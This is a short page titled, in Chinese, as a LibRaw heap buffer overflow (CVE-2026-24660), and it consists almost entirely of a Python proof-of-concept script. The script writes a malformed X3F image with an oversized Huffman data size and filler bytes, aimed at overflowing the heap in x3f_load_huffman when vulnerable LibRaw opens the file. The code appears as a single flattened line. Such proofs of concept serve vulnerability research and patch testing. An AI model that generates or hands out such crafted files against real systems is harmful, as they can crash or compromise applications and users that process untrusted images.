CVE-2026-24660 LibRaw堆缓冲区溢出漏洞

import struct # PoC for CVE-2026-24660 # Description: Generates a malformed X3F file to trigger the heap overflow in x3f_load_huffman. # Usage: python poc.py -> open generated file with vulnerable LibRaw. def generate_malicious_x3f(filename): with open(filename, 'wb') as f: # X3F Header ID f.write(b'FOVb') # Version f.write(struct.pack('<I', 0x00020000)) # Directory Offset (pointing to a location later in the file) f.write(struct.pack('<I', 0x100)) # Header End Padding f.write(b'\x00' * 252) # Directory Entry (Targeting Huffman data) # Tag: 'HUMF' (Huffman) f.write(struct.pack('<I', 0x48554D46)) # Offset to data f.write(struct.pack('<I', 0x200)) # Size of data (Malicious large size) f.write(struct.pack('<I', 0xFFFFFFFF)) f.write(struct.pack('<I', 0)) # Malicious Huffman Data Block # Filling with pattern to trigger overflow condition f.write(b'A' * 0x1000) print(f"[+] Malformed X3F file generated: {filename}") if __name__ == "__main__": generate_malicious_x3f("CVE-2026-24660_poc.x3f")